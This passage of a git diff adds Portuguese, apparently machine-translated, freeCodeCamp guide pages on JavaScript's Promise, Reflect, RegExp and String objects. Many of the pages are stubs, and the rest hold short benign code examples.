+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/promise/promise-reject/index.md b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-reject/index.md
new file mode 100644
index 0000000000..7e064c1430
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-reject/index.md
@@ -0,0 +1,22 @@
+---
+title: Promise Reject
+localeTitle: Promise Rejeitar
+---
+## Promise Rejeitar
+
+Uma função `Promise.reject` retorna uma condição de erro para a função de chamada. É necessário um único parâmetro, um objeto ou valor Error, como o motivo da rejeição.
+
+Encadear uma função catch no final de um chamador Promise lhe permitirá capturar a condição de erro.
+
+```javascript
+promiseCallingFunction(paramList) 
+  .then( ... ) 
+  ... 
+  .then( ... ) 
+  .catch( function(err) { // catch function 
+    /* 
+     * this is where you can access the reason for the rejection 
+     */ 
+  }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/promise/promise-resolve/index.md b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-resolve/index.md
new file mode 100644
index 0000000000..a2730bd503
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-resolve/index.md
@@ -0,0 +1,47 @@
+---
+title: Promise Resolve
+localeTitle: Promise Resolve
+---
+## Promise Resolve
+
+### Descrição
+
+Uma função `Promise.resolve` indica a conclusão bem-sucedida de uma promessa. Esta função permite que você retorne um Promise para a função de chamada.
+
+`Promise.resolve` usa um único parâmetro para retornar à função de chamada. Esse parâmetro pode ser um valor, uma alternativa ou outra promessa.
+
+Um "valor" para uma função de resolução pode ser tipos, matrizes ou objetos básicos de JavaScript.
+
+```javascript
+Promise.resolve('success'); // string 
+ Promise.resolve([2, 3, 5]); // array 
+ Promise.resolve({name: 'John', age: '43'}); // object 
+```
+
+Um "thenable" é uma função que usa duas funções de retorno de chamada como parâmetros. Você pode usar o primeiro parâmetro para acionar uma conclusão bem-sucedida e o segundo para retornar um erro na Promessa.
+
+```javascript
+thenableFunction = {then: function(onSuccesss, onFailure) { 
+    if (condition === 'success') { 
+      onSuccess(paramList); // success condition 
+    } else { 
+      onFailure(paramList); // error condition 
+    } 
+  } 
+ } 
+ 
+ Promise.resolve(thenableFunction); 
+```
+
+Encadear uma função para um chamador de promessa lhe dará acesso ao resultado de `Promise.resolve` .
+
+```javascript
+promiseCallingFunction(paramList) 
+  .then(function(value) { 
+    /* 
+     * this is where you get access to the value 
+     * returned by a promise on successful completion 
+     */ 
+  }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/index.md
new file mode 100644
index 0000000000..aaae2ba88b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect
+localeTitle: Refletir
+---
+## Refletir
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-apply/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-apply/index.md
new file mode 100644
index 0000000000..03020ae3e0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-apply/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Apply
+localeTitle: Refletir aplicar
+---
+## Refletir aplicar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-apply/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-construct/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-construct/index.md
new file mode 100644
index 0000000000..658f367196
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-construct/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Construct
+localeTitle: Refletir Construir
+---
+## Refletir Construir
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-construct/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-defineproperty/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-defineproperty/index.md
new file mode 100644
index 0000000000..fce4586081
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-defineproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect defineProperty
+localeTitle: Refletir defineProperty
+---
+## Refletir defineProperty
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-defineproperty/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-deleteproperty/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-deleteproperty/index.md
new file mode 100644
index 0000000000..c766d6313c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-deleteproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect deleteProperty
+localeTitle: Refletir deleteProperty
+---
+## Refletir deleteProperty
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-deleteproperty/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-get/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-get/index.md
new file mode 100644
index 0000000000..116a3ef68e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-get/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Get
+localeTitle: Refletir
+---
+## Refletir
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-get/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md
new file mode 100644
index 0000000000..9a4a8bb87c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect getOwnPropertyDescriptor
+localeTitle: Refletir getOwnPropertyDescriptor
+---
+## Refletir getOwnPropertyDescriptor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-getprototypeof/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-getprototypeof/index.md
new file mode 100644
index 0000000000..7d9d277a7c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-getprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect.prototype.get.prototype.of
+localeTitle: Reflect.prototype.get.prototype.of
+---
+## Reflect.prototype.get.prototype.of
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-getprototypeof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-has/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-has/index.md
new file mode 100644
index 0000000000..48699175f2
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-has/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Has
+localeTitle: Reflect Tem
+---
+## Reflect Tem
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-has/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-isextensible/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-isextensible/index.md
new file mode 100644
index 0000000000..0ef6472607
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-isextensible/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect isExtensible
+localeTitle: Reflect isExtensible
+---
+## Reflect isExtensible
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-isextensible/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-ownkeys/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-ownkeys/index.md
new file mode 100644
index 0000000000..a8e6acc3fb
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-ownkeys/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Ownkeys
+localeTitle: Refletir os próprios
+---
+## Refletir os próprios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-ownkeys/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-preventextentions/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-preventextentions/index.md
new file mode 100644
index 0000000000..2fe707e10d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-preventextentions/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect preventExtensions
+localeTitle: Reflect preventExtensions
+---
+## Reflect preventExtensions
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-preventextentions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-set/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-set/index.md
new file mode 100644
index 0000000000..ee8554f2f0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-set/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Set
+localeTitle: Refletir Conjunto
+---
+## Refletir Conjunto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-set/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-setprototypeof/index.md b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-setprototypeof/index.md
new file mode 100644
index 0000000000..b33f8d1aaf
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/reflect/reflect-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect.prototype.set.prototype.of
+localeTitle: Reflect.prototype.set.prototype.of
+---
+## Reflect.prototype.set.prototype.of
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-setprototypeof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/index.md
new file mode 100644
index 0000000000..2cf349a592
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp
+localeTitle: RegExp
+---
+## RegExp
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-exec/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-exec/index.md
new file mode 100644
index 0000000000..83f530591e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-exec/index.md
@@ -0,0 +1,73 @@
+---
+title: RegExp prototype exec
+localeTitle: Protótipo do RegExp
+---
+## Protótipo do RegExp
+
+O método **`exec()`** executa uma pesquisa por uma correspondência em uma string especificada. Retorna uma matriz de resultado ou [`null`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/null "O valor null representa a ausência intencional de qualquer valor de objeto. É um dos valores primitivos do JavaScript.") .
+
+Se você estiver executando uma correspondência simplesmente para encontrar true ou false, use o método [`RegExp.prototype.test()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test "O método test () executa uma busca por uma correspondência entre uma expressão regular e uma string especificada. Retorna verdadeiro ou falso.") ou o método [`String.prototype.search()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search "O método search () executa uma pesquisa por uma correspondência entre uma expressão regular e esse objeto String.") .
+
+### Sintaxe
+```
+regexObj.exec(str) 
+```
+
+### Parâmetros
+
+`str`
+
+A string na qual corresponder à expressão regular.
+
+### Valor de retorno
+
+Se a correspondência for bem-sucedida, o método `exec()` retornará uma matriz e atualizará as propriedades do objeto de expressão regular. A matriz retornada tem o texto correspondente como o primeiro item e, em seguida, um item para cada parêntese de captura que corresponde ao texto que foi capturado.
+
+Se a correspondência falhar, o método `exec()` retornará [`null`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/null "O valor null representa a ausência intencional de qualquer valor de objeto. É um dos valores primitivos do JavaScript.") .
+
+### Descrição
+
+Considere o seguinte exemplo:
+```
+// Match "quick brown" followed by "jumps", ignoring characters in between 
+ // Remember "brown" and "jumps" 
+ // Ignore case 
+ var re = /quick\s(brown).+?(jumps)/ig; 
+ var result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog'); 
+```
+
+A tabela a seguir mostra os resultados deste script:
+
+### Exemplos
+
+#### Encontrando partidas sucessivas
+
+Se sua expressão regular usar o sinalizador " `g` ", você poderá usar o método `exec()` várias vezes para localizar correspondências sucessivas na mesma cadeia. Quando você faz isso, a pesquisa começa na substring de `str` especificada pela propriedade [`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "O lastIndex é uma propriedade inteira de leitura / gravação de instâncias de expressão regular que especifica o índice no qual iniciar a próxima correspondência.") da expressão regular ( [`test()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test "O método test () executa uma busca por uma correspondência entre uma expressão regular e uma string especificada. Retorna verdadeiro ou falso.") também avançará a propriedade [`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "O lastIndex é uma propriedade inteira de leitura / gravação de instâncias de expressão regular que especifica o índice no qual iniciar a próxima correspondência.") ). Por exemplo, suponha que você tenha este script:
+```
+var myRe = /ab*/g; 
+ var str = 'abbcdefabh'; 
+ var myArray; 
+ while ((myArray = myRe.exec(str)) !== null) { 
+  var msg = 'Found ' + myArray[0] + '. '; 
+  msg += 'Next match starts at ' + myRe.lastIndex; 
+  console.log(msg); 
+ } 
+```
+
+Este script exibe o seguinte texto:
+```
+Found abb. Next match starts at 3 
+ Found ab. Next match starts at 9 
+```
+
+Nota: Não coloque a expressão regular literal (ou [`RegExp`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp "O construtor RegExp cria um objeto de expressão regular para correspondência de texto com um padrão.") construtor) dentro da `while` condição ou ele irá criar um ciclo infinito se houver uma correspondência devido ao [`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "O lastIndex é uma propriedade inteira de leitura / gravação de instâncias de expressão regular que especifica o índice no qual iniciar a próxima correspondência.") propriedade a ser reposto a cada iteração. Também certifique-se de que o sinalizador global esteja configurado ou que um loop também ocorra aqui.
+
+#### Usando `exec()` com literais `RegExp`
+
+Você também pode usar `exec()` sem criar um objeto [`RegExp`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp "O construtor RegExp cria um objeto de expressão regular para correspondência de texto com um padrão.") :
+```
+var matches = /(hello \S+)/.exec('This is a hello world!'); 
+ console.log(matches[1]); 
+```
+
+Isto irá registrar uma mensagem contendo 'olá mundo!'.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-flags/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-flags/index.md
new file mode 100644
index 0000000000..df61e85c6e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-flags/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.flags
+localeTitle: RegExp.prototype.flags
+---
+## RegExp.prototype.flags
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-flags/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-global/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-global/index.md
new file mode 100644
index 0000000000..7f84164439
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-global/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.global
+localeTitle: RegExp.prototype.global
+---
+## RegExp.prototype.global
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-global/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md
new file mode 100644
index 0000000000..86388ccaaa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.ignoreCase
+localeTitle: RegExp.prototype.ignoreCase
+---
+## RegExp.prototype.ignoreCase
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md
new file mode 100644
index 0000000000..5f09189733
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.multiline
+localeTitle: RegExp.prototype.multiline
+---
+## RegExp.prototype.multiline
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-source/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-source/index.md
new file mode 100644
index 0000000000..39298b4ab4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-source/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.source
+localeTitle: RegExp.prototype.source
+---
+## RegExp.prototype.source
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-source/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md
new file mode 100644
index 0000000000..11b2bc2875
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.sticky
+localeTitle: RegExp.prototype.sticky
+---
+## RegExp.prototype.sticky
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-sticky/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-test/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-test/index.md
new file mode 100644
index 0000000000..c8a475012a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-test/index.md
@@ -0,0 +1,37 @@
+---
+title: RegExp.prototype.test
+localeTitle: RegExp.prototype.test
+---
+## RegExp.prototype.test
+
+O método `test()` retorna `true` se uma string corresponder à expressão regular e `false` se não corresponder.
+
+## Exemplos
+
+```javascript
+let str = 'freeCodeCamp'; 
+ let regEx = /Code/; 
+ let result = regEx.test(str); 
+ 
+ console.log(result); // prints true 
+```
+
+**Nota:** As expressões regulares são sensíveis a maiúsculas e minúsculas. O exemplo acima retornará `false` se o `regEx` for `/code/` vez de `/Code/` . Para tornar a expressão regular sem distinção entre maiúsculas e minúsculas, você precisa adicionar o sinalizador `i` à expressão regular.
+
+```javascript
+let str = 'freeCodeCamp'; 
+ let regEx = /code/; 
+ let result = regEx.test(str); 
+ 
+ console.log(result); // prints false 
+ 
+ // Include the 'i' flag. 
+ 
+ regEx = /code/i; 
+ result = regEx.test(str); 
+ console.log(result); // prints true 
+```
+
+#### Mais Informações:
+
+Confira a página [oficial do MDN `RegExp.prototype.test()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) para mais informações.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md
new file mode 100644
index 0000000000..e782088290
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.toSource
+localeTitle: RegExp.prototype.toSource
+---
+## RegExp.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md
new file mode 100644
index 0000000000..088363f939
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.toString
+localeTitle: RegExp.prototype.toString
+---
+## RegExp.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md
new file mode 100644
index 0000000000..159f06794e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.unicode
+localeTitle: RegExp.prototype.unicode
+---
+## RegExp.prototype.unicode
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-unicode/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/index.md
new file mode 100644
index 0000000000..79409ce954
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/index.md
@@ -0,0 +1,13 @@
+---
+title: String
+localeTitle: Corda
+---
+## Corda
+
+Em JavaScript, o objeto global `String` é um construtor para strings, que armazenam séries de caracteres. As strings podem ser criadas na forma de literais, como `var greeting = "Hi, campers!";` ou usando o construtor `String` : `var greeting = new String("Hi, campers!");` .
+
+Ao contrário de algumas outras línguas, JavaScript não se importa se você usa única `' '` ou duplas `" "` aspas para strings. Você pode até usá-los _dentro_ das cordas, eles só têm que ser diferentes das citações que abraçam a string `"Isn't that awesome?"` .
+
+#### Mais Informações:
+
+[MDN web docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String) [w3schools.com](https://www.w3schools.com/jsref/jsref_obj_string.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-fromcharcode/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-fromcharcode/index.md
new file mode 100644
index 0000000000..f43b8a6bb8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-fromcharcode/index.md
@@ -0,0 +1,35 @@
+---
+title: String fromCharCode
+localeTitle: String fromCharCode
+---
+O método estático `String.fromCharCode()` retorna uma string criada usando a seqüência especificada de valores Unicode.
+
+## Sintaxe
+```
+String.fromCharCode(num1[, ...[, numN]]) 
+```
+
+### Parâmetros
+
+**num1,…, numN**
+
+Uma seqüência de números que são valores Unicode.
+
